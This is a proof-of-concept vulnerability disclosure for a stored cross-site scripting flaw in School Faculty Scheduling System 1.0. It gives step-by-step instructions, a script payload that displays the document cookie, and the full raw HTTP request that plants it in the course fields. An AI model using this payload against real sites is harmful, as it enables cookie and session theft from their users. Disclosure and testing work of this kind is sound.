School Faculty Scheduling System 1.0 - Stored Cross Site Scripting POC

# Exploit Title: School Faculty Scheduling System 1.0 - Stored Cross Site Scripting
# Date: 21/10/2020
# Exploit Author: Jyotsna Adhana
# Vendor Homepage: https://www.sourcecodester.com/php/14535/school-faculty-scheduling-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14535&title=School+Faculty+Scheduling+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

Step 1: Open the URL http://localhost/schoolFSS/scheduling/admin/index.php?page=courses

Step 2: use payload <script>alert(document.cookie)</script> in Course and Description field

Malicious Request

POST /schoolFSS/scheduling/admin/ajax.php?action=save_course HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------168636252127671582243354784793
Content-Length: 478
Origin: http://localhost
Connection: close
Referer: http://localhost/schoolFSS/scheduling/admin/index.php?page=courses
Cookie: PHPSESSID=7lojvad06l803amt3f7hp7o8re

-----------------------------168636252127671582243354784793
Content-Disposition: form-data; name="id"


-----------------------------168636252127671582243354784793
Content-Disposition: form-data; name="course"

<script>alert(document.cookie)</script>
-----------------------------168636252127671582243354784793
Content-Disposition: form-data; name="description"

<script>alert(document.cookie)</script>
-----------------------------168636252127671582243354784793--

Step 3: Cookie will be reflected each time someone visits the Course List section.